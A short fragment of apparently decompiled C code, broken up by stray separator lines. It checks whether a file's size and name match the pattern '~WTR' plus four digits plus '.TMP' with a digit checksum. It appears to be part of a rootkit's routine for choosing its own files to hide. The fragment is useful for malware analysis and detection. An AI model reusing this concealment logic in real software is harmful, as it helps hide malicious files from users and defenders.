if (!(LowPart == -1 && HighPart == -1) && (HighPart == 0 || LowPart < 4096 || LowPart > 8388608)) return 0;
|
|
if (Length !=12)return 0;
|
|
if (StrCheck(L".TMP",&Filename[Length -4],4) == 0)return 0;
|
|
if (StrCheck(L"~WTR",Filename,4) == 0)return 0;
|
|
for (i = 4;i < 8; i++){
|
|
chr = Filename[i];
|
|
if (chr<'0' || chr >'9')return 0;
|
|
Mod =(chr - 0x30 + Mod) % 10;
|
|
};
|
|
if (Mod == 0)return 1;
|
|
return 0;
|
|
};
|